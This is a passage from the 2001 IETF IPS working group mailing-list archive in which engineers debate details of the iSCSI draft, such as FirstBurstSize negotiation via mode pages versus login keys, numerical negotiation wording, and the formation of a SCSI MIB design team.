Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Wed Sep 26 07:34:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA13401 for ; Wed, 26 Sep 2001 07:34:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QAbOd19912 for ips-outgoing; Wed, 26 Sep 2001 06:37:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QAbLP19902 for ; Wed, 26 Sep 2001 06:37:22 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id MAB85488; Wed, 26 Sep 2001 12:37:14 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8QAbDS51606; Wed, 26 Sep 2001 12:37:14 +0200 Subject: Re: iSCSI 07-95 Comment 8 To: Thomas Dineen Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 26 Sep 2001 13:37:36 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 26/09/2001 13:37:14 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Thomas - Thanks for your careful reading. Julo From owner-ips@ece.cmu.edu Wed Sep 26 09:06:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17062 for ; Wed, 26 Sep 2001 09:06:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QBrMV23463 for ips-outgoing; Wed, 26 Sep 2001 07:53:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dcmtechdom.dcmtech.co.in ([216.6.80.34]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QBrCP23452 for ; Wed, 26 Sep 2001 07:53:18 -0400 (EDT) Received: by dcmtechdom.dcmtech.co.in with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 17:24:52 +0530 Message-ID: <7FADCB99FC82D41199F9000629A85D1A01C652F0@dcmtechdom.dcmtech.co.in> From: Nitin Dhingra To: "'Thomas Dineen'" , ips@ece.cmu.edu Subject: RE: iSCSI 07-95 Comment 12 Date: Wed, 26 Sep 2001 17:24:50 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk no doubt about that... -----Original Message----- From: Thomas Dineen [mailto:tdineen@redswitch.com] Sent: Tuesday, September 25, 2001 6:08 PM To: ips@ece.cmu.edu; Thomas Dineen Subject: iSCSI 07-95 Comment 12 Gentle People: 3.16 SNACK Request on Page 99: "Any SNACK requesting a numbered-response, Data or R2T that was not sent by the [target] MUST be rejected with a reason code of "Invalid SNACK"." From the statements previous to this paragraph I beleive the SNACK is sent by the Initiator. Thomas Dineen From owner-ips@ece.cmu.edu Wed Sep 26 10:36:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20184 for ; Wed, 26 Sep 2001 10:36:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QDVqb28999 for ips-outgoing; Wed, 26 Sep 2001 09:31:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QDVaP28987 for ; Wed, 26 Sep 2001 09:31:36 -0400 (EDT) Received: from xparelay2.corp.hp.com (unknown [15.58.137.112]) by palrel10.hp.com (Postfix) with ESMTP id A137F1FA60 for ; Wed, 26 Sep 2001 06:31:30 -0700 (PDT) Received: from xpabh3.corp.hp.com (xpabh3.corp.hp.com [15.58.136.223]) by xparelay2.corp.hp.com (Postfix) with ESMTP id 58FB4213AE; Tue, 25 Sep 2001 15:14:13 -0700 (PDT) Received: by xpabh3.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Sep 2001 22:14:14 -0700 Message-ID: <499DC368E25AD411B3F100902740AD6507779094@xrose03.rose.hp.com> From: "CONGDON,PAUL (HP-Roseville,ex1)" To: "'cbm@rose.hp.com'" , ips Subject: RE: iscsi : default iscsi mode page settings. Date: Tue, 25 Sep 2001 22:14:12 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk >Julian and Santosh, > >Whether FirstBurstSize should be a text key or not, >IMHO, is (mostly) dependent on the current implementations. >Santosh rightly pointed out several drawbacks of >mandating a new set of mode select/sense operations >that are totally iSCSI-specific since the legacy SCSI >stack (class drivers, services/midlayer) will have no >clue about them. OTOH, if most of today's SCSI stacks >_do_ perform this mode parameter manipulation in disconnect- >reconnect mode page, that would be a strong argument to >leave FirstBurstSize as a mode page parameter. Anything iSCSI specific should attempt to follow other iSCSI methods of configuration (e.g. text keys). We should really be driving towards a single method of parameter negotiation and configuration - especially when the legacy methods have no clue about the new parameters and would require upgrades. Paul From owner-ips@ece.cmu.edu Wed Sep 26 12:18:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22382 for ; Wed, 26 Sep 2001 12:18:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QEbXZ03557 for ips-outgoing; Wed, 26 Sep 2001 10:37:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QEbUP03547 for ; Wed, 26 Sep 2001 10:37:30 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id KAA95744; Wed, 26 Sep 2001 10:35:04 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8QEbLj19070; Wed, 26 Sep 2001 08:37:21 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iscsi : default iscsi mode page settings. To: "CONGDON,PAUL (HP-Roseville,ex1)" Cc: "'cbm@rose.hp.com'" , ips X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Wed, 26 Sep 2001 07:36:34 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/26/2001 08:37:23 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Does anyone know of where a Legacy function would exist, in the Host which would do anything with FirstBurstSize? I am assuming it would have to be in the SCSI Device Driver, and since we have iSCSI instead, that may not be an issue. I could be wrong but I do not think that it occures in the SCSI Class Drivers. And I do not think it ocures in the File Systems, so where does this Legacy function we are worried about occure? If it is in the SCSI Device Driver it is NOT an issue. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 09/25/2001 10:14:12 PM Sent by: owner-ips@ece.cmu.edu To: "'cbm@rose.hp.com'" , ips cc: Subject: RE: iscsi : default iscsi mode page settings. >Julian and Santosh, > >Whether FirstBurstSize should be a text key or not, >IMHO, is (mostly) dependent on the current implementations. >Santosh rightly pointed out several drawbacks of >mandating a new set of mode select/sense operations >that are totally iSCSI-specific since the legacy SCSI >stack (class drivers, services/midlayer) will have no >clue about them. OTOH, if most of today's SCSI stacks >_do_ perform this mode parameter manipulation in disconnect- >reconnect mode page, that would be a strong argument to >leave FirstBurstSize as a mode page parameter. Anything iSCSI specific should attempt to follow other iSCSI methods of configuration (e.g. text keys). We should really be driving towards a single method of parameter negotiation and configuration - especially when the legacy methods have no clue about the new parameters and would require upgrades. Paul From owner-ips@ece.cmu.edu Wed Sep 26 13:37:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA24386 for ; Wed, 26 Sep 2001 13:37:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QGEE310436 for ips-outgoing; Wed, 26 Sep 2001 12:14:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ihemail2.firewall.lucent.com (ihemail2.lucent.com [192.11.222.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QGEDP10432 for ; Wed, 26 Sep 2001 12:14:13 -0400 (EDT) Received: from nc8220exchange.ral.lucent.com (h135-92-100-21.lucent.com [135.92.100.21]) by ihemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f8QGEBH25276 for ; Wed, 26 Sep 2001 12:14:11 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: IPS-ALL: SCSI MIB design team formation Date: Wed, 26 Sep 2001 12:14:10 -0400 Message-ID: <9410A0F67DFE7F4D998D453823649836040892@nc8220exchange.ral.lucent.com> Thread-Topic: iSCSI: state of a SCSI MIB (was RE: ISCSI: A propos MIB and specially iSCSI MIB) Thread-Index: AcEw2c2ywDbg5JAJRImFhmMNRxeHLgEGDFJQAX98cTAC7SYRMA== From: "Elizabeth Rodriguez" To: "Elizabeth Rodriguez" , Cc: "David Black (E-mail)" , "Keith McCloghrie (E-mail)" , "Scott Bradner (E-mail)" , "Allison Mankin (E-mail)" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8QGEDP10433 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hi all, Thanks to all who have volunteered to participate on the SCSI Design team. The following individuals have been selected to form the team. Yaron Lederman, Siliquent, team lead Roger Cummings, Veritas Ron Roberts, Adaptec Satish Mali, Stonefly Networks Bob Snively, Brocade Sanjay Selvaraj, Hcl Technologies Michele Hallak-Stamler, Sanrad Intelligent Storage An editor is yet to be named. In addition, Marj Krueger and Mark Bakke have agreed to assist. This design team is tasked with developing and submitting the first draft of the SCSI MIB document. It is subject to review and input from the IPS WG as a whole once this first draft is submitted. The T10 group will also be asked to review and provide input. Note: In a few instances, multiple individuals from the same company have volunteered to join the team. In such cases, one person that volunteered was selected to be on the design team. Elizabeth Rodriguez & David Black From owner-ips@ece.cmu.edu Wed Sep 26 14:55:02 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26266 for ; Wed, 26 Sep 2001 14:55:02 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QHe2R16790 for ips-outgoing; Wed, 26 Sep 2001 13:40:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QHdvP16775 for ; Wed, 26 Sep 2001 13:39:57 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 72B6B1FA4A; Wed, 26 Sep 2001 10:39:43 -0700 (PDT) Received: (from santoshr@localhost) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) id KAA29828; Wed, 26 Sep 2001 10:39:38 -0700 (PDT) From: Santosh Rao Message-Id: <200109261739.KAA29828@hpcuhe.cup.hp.com> Subject: Re: iscsi : default iscsi mode page settings. To: hufferd@us.ibm.com (John Hufferd) Date: Wed, 26 Sep 2001 10:39:38 -0700 (PDT) Cc: ips@ece.cmu.edu (ips) In-Reply-To: from "John Hufferd" at Sep 26, 2001 07:36:34 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, I suspect that in most cases these mode page settings would not be done, since most stacks are still SCSI-2 based. Hence, any SCSI LLPs that do provide support for these transport specific mode pages (ex : FCP-2 implementations) would probably be issuing these mode sense/select's from within the LLP (miniport driver, HBA driver, etc). The file system and wedge drivers do not muck with these, as you already pointed out. Since these mode pages have transport specific semantics, any SCSI ULP (ex : class driver) that attempts to issue mode sense/select for transport specific mode pages would first need to interact with some transport specific code to determine which transport is being used and what mode page format is to be used. Thus, any such class driver would need an upgrade to understand the iscsi transport specific mode pages. Even if there are some management applications that may be trying to set these parameters through pass thru mode sense/select commands, they would need to now be upgraded to understand iscsi specific versions of these transport mode pages. Further, any such management app. would also need to develop mechanisms to issue pass-thru text commands or some other mechanism if it wished to tweak iscsi parameters. Hence, I agree with you that there should not be any legacy issue here. Any layer or management app that mucks with iscsi parameters will need an upgrade anyway and they might as well be upgraded to use a single mechanism, login keys. I think we've beaten this issue to death, and suggest that we call for consensus on this issue and move onto other issues. Regards, Santosh > > > Does anyone know of where a Legacy function would exist, in the Host which > would do anything with FirstBurstSize? I am assuming it would have to be > in the SCSI Device Driver, and since we have iSCSI instead, that may not be > an issue. > I could be wrong but I do not think that it occures in the SCSI Class > Drivers. > And I do not think it ocures in the File Systems, so where does this Legacy > function we are worried about occure? > If it is in the SCSI Device Driver it is NOT an issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on > 09/25/2001 10:14:12 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: "'cbm@rose.hp.com'" , ips > cc: > Subject: RE: iscsi : default iscsi mode page settings. > > > > > >Julian and Santosh, > > > >Whether FirstBurstSize should be a text key or not, > >IMHO, is (mostly) dependent on the current implementations. > >Santosh rightly pointed out several drawbacks of > >mandating a new set of mode select/sense operations > >that are totally iSCSI-specific since the legacy SCSI > >stack (class drivers, services/midlayer) will have no > >clue about them. OTOH, if most of today's SCSI stacks > >_do_ perform this mode parameter manipulation in disconnect- > >reconnect mode page, that would be a strong argument to > >leave FirstBurstSize as a mode page parameter. > > Anything iSCSI specific should attempt to follow other iSCSI > methods of configuration (e.g. text keys). We should really > be driving towards a single method of parameter negotiation > and configuration - especially when the legacy methods > have no clue about the new parameters and would require upgrades. > > Paul > > > > > > -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 14:57:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26308 for ; Wed, 26 Sep 2001 14:57:02 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QI1S518712 for ips-outgoing; Wed, 26 Sep 2001 14:01:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QI1PP18707 for ; Wed, 26 Sep 2001 14:01:26 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 20:03:05 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B984C@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'John Hufferd'" , "CONGDON,PAUL (HP-Roseville,ex1)" Cc: "'cbm@rose.hp.com'" , ips Subject: RE: iscsi : default iscsi mode page settings. Date: Wed, 26 Sep 2001 20:03:04 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk John, the firstburstsize will not be included in the SCSI device driver. It has to be done either by iscsi driver or any application passsing command to iscsi driver. Firstburstsize parameter depends on the buffer capacity of the Target and application client. In most cases this will be a limitation at target's end which has limited buffersize in which it can take the data from service delivery subsystem. The application client on other hand can keep queuing the requests and ask the data from the OS corresponding to the command. The role of SCSI driver is to pass the commands as it is to the lower layer in the stack. It does not probe any CDB, although it is fully capable of doing it. Regards, Sanjeev -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Wednesday, September 26, 2001 4:37 PM To: CONGDON,PAUL (HP-Roseville,ex1) Cc: 'cbm@rose.hp.com'; ips Subject: RE: iscsi : default iscsi mode page settings. Does anyone know of where a Legacy function would exist, in the Host which would do anything with FirstBurstSize? I am assuming it would have to be in the SCSI Device Driver, and since we have iSCSI instead, that may not be an issue. I could be wrong but I do not think that it occures in the SCSI Class Drivers. And I do not think it ocures in the File Systems, so where does this Legacy function we are worried about occure? If it is in the SCSI Device Driver it is NOT an issue. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 09/25/2001 10:14:12 PM Sent by: owner-ips@ece.cmu.edu To: "'cbm@rose.hp.com'" , ips cc: Subject: RE: iscsi : default iscsi mode page settings. >Julian and Santosh, > >Whether FirstBurstSize should be a text key or not, >IMHO, is (mostly) dependent on the current implementations. >Santosh rightly pointed out several drawbacks of >mandating a new set of mode select/sense operations >that are totally iSCSI-specific since the legacy SCSI >stack (class drivers, services/midlayer) will have no >clue about them. OTOH, if most of today's SCSI stacks >_do_ perform this mode parameter manipulation in disconnect- >reconnect mode page, that would be a strong argument to >leave FirstBurstSize as a mode page parameter. Anything iSCSI specific should attempt to follow other iSCSI methods of configuration (e.g. text keys). We should really be driving towards a single method of parameter negotiation and configuration - especially when the legacy methods have no clue about the new parameters and would require upgrades. Paul From owner-ips@ece.cmu.edu Wed Sep 26 15:00:33 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA26391 for ; Wed, 26 Sep 2001 15:00:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QHxwe18548 for ips-outgoing; Wed, 26 Sep 2001 13:59:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QHxuP18544 for ; Wed, 26 Sep 2001 13:59:56 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 226921F70D for ; Wed, 26 Sep 2001 10:59:32 -0700 (PDT) Received: (from santoshr@localhost) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) id KAA01007; Wed, 26 Sep 2001 10:59:27 -0700 (PDT) From: Santosh Rao Message-Id: <200109261759.KAA01007@hpcuhe.cup.hp.com> Subject: iscsi : numerical negotiation wording is ambiguous To: ips@ece.cmu.edu (ips) Date: Wed, 26 Sep 2001 10:59:27 -0700 (PDT) X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian & All, The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 reads : "In numerical negotiations, the offering and responding party state a numerical value. The result of the negotiation is key dependent; frequently the lower or the higher of the two values is used." The above definition is ambiguous, since it does not specify whether it is the originator or the responder that computes the result of the negotiation. i.e. Is it the responsibility of the target to pick the higher or lower of the 2 values and respond with the result of the negotiation ? OR : Is it the originator that has to pick the result of the negotiation based on the key it sent and the key it got back ? I would suggest that the wording be clarified to indicate that the responder picks the result of the negotiation and sends this result back in its response for this key. Perhaps, some re-wording along the following lines may be in order : "In numerical negotiations, the offering party states a numerical value, and the responding party states the result (operational value) after the negotiation. The result of the negotiation is key dependent; responder determines it based on the lower or the higher of the two values - offering party's value, and what the responder can support." Comments ? Regards, Santosh -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 16:09:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27731 for ; Wed, 26 Sep 2001 16:09:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QJ14t23391 for ips-outgoing; Wed, 26 Sep 2001 15:01:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QJ0wP23377 for ; Wed, 26 Sep 2001 15:01:00 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 21:02:42 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B984E@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'Santosh Rao'" , hufferd@us.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iscsi : default iscsi mode page settings. Date: Wed, 26 Sep 2001 21:02:40 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk John, julian, Santosh Agreed, but it depends where the protocol specific code is implemented. Let us take example of Windows 2k the command startes from application and flows down to file system to SCSI ULP to Fileter drivers, SCSIPORT driver to SCSI Miniport driver and then to HBA. Now in order to implement iSCSI in windows the commands can be diverted into two paths 1. after the SCSI ULP (class drivers). A filter driver or a custom written parallel SCSIPORT driver may divert it to (iscsi protocol specific) TDI client driver and so to TCP /IP stack or 2. a.)it flows down untill SCSI Miniport driver which can further pass it (iscsi protocol specific) TDI client driver and then to TCP transport layer ...... etc etc or b>.)alternatively for step 2 it can go directly to an iSCSI HBA (with TCP/IP accelerator, Ethernet built in) In case 1, 2a the FirstburstSize will be set in the iscsi protocol specific TDI client driver and in case 2b it will be set in SCSI miniport itself. Clearly it will be set only at the place where the transport protocol specific layer. Regards, Sanjeev -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 26, 2001 7:40 PM To: hufferd@us.ibm.com Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. John, I suspect that in most cases these mode page settings would not be done, since most stacks are still SCSI-2 based. Hence, any SCSI LLPs that do provide support for these transport specific mode pages (ex : FCP-2 implementations) would probably be issuing these mode sense/select's from within the LLP (miniport driver, HBA driver, etc). The file system and wedge drivers do not muck with these, as you already pointed out. Since these mode pages have transport specific semantics, any SCSI ULP (ex : class driver) that attempts to issue mode sense/select for transport specific mode pages would first need to interact with some transport specific code to determine which transport is being used and what mode page format is to be used. Thus, any such class driver would need an upgrade to understand the iscsi transport specific mode pages. Even if there are some management applications that may be trying to set these parameters through pass thru mode sense/select commands, they would need to now be upgraded to understand iscsi specific versions of these transport mode pages. Further, any such management app. would also need to develop mechanisms to issue pass-thru text commands or some other mechanism if it wished to tweak iscsi parameters. Hence, I agree with you that there should not be any legacy issue here. Any layer or management app that mucks with iscsi parameters will need an upgrade anyway and they might as well be upgraded to use a single mechanism, login keys. I think we've beaten this issue to death, and suggest that we call for consensus on this issue and move onto other issues. Regards, Santosh > > > Does anyone know of where a Legacy function would exist, in the Host which > would do anything with FirstBurstSize? I am assuming it would have to be > in the SCSI Device Driver, and since we have iSCSI instead, that may not be > an issue. > I could be wrong but I do not think that it occures in the SCSI Class > Drivers. > And I do not think it ocures in the File Systems, so where does this Legacy > function we are worried about occure? > If it is in the SCSI Device Driver it is NOT an issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on > 09/25/2001 10:14:12 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: "'cbm@rose.hp.com'" , ips > cc: > Subject: RE: iscsi : default iscsi mode page settings. > > > > > >Julian and Santosh, > > > >Whether FirstBurstSize should be a text key or not, > >IMHO, is (mostly) dependent on the current implementations. > >Santosh rightly pointed out several drawbacks of > >mandating a new set of mode select/sense operations > >that are totally iSCSI-specific since the legacy SCSI > >stack (class drivers, services/midlayer) will have no > >clue about them. OTOH, if most of today's SCSI stacks > >_do_ perform this mode parameter manipulation in disconnect- > >reconnect mode page, that would be a strong argument to > >leave FirstBurstSize as a mode page parameter. > > Anything iSCSI specific should attempt to follow other iSCSI > methods of configuration (e.g. text keys). We should really > be driving towards a single method of parameter negotiation > and configuration - especially when the legacy methods > have no clue about the new parameters and would require upgrades. > > Paul > > > > > > -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 16:11:33 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27761 for ; Wed, 26 Sep 2001 16:11:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QJLfX24774 for ips-outgoing; Wed, 26 Sep 2001 15:21:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QJLcP24770 for ; Wed, 26 Sep 2001 15:21:38 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 9173E1F91E; Wed, 26 Sep 2001 12:21:32 -0700 (PDT) Received: (from santoshr@localhost) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) id MAA06602; Wed, 26 Sep 2001 12:21:28 -0700 (PDT) From: Santosh Rao Message-Id: <200109261921.MAA06602@hpcuhe.cup.hp.com> Subject: iscsi : Data ACKs already been included into draft (?) To: ips@ece.cmu.edu (ips) Date: Wed, 26 Sep 2001 12:21:27 -0700 (PDT) Cc: Black_David@emc.com (David Black) X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian & All, It looks like the Data ACK scheme you proposed has already been included into the Rev 7.97 draft !(?) I don't recollect the group having reached consensus on re-inclusion of this feature, nor consensus on the mechanism used for the data ack. Given this, why is the change already present in the draft ? I would like to request that any changes to the draft be first posted to the reflector for review and only upon its acceptance on the reflector should it be included in the draft. Incorporating changes into the draft prior to their acceptance on the reflector is only going to slow down the stabilization of the draft further. At this late stage in the draft, every sentence modified must be subject to review prior to inclusion in the draft. Thanks, Santosh -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 16:19:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27885 for ; Wed, 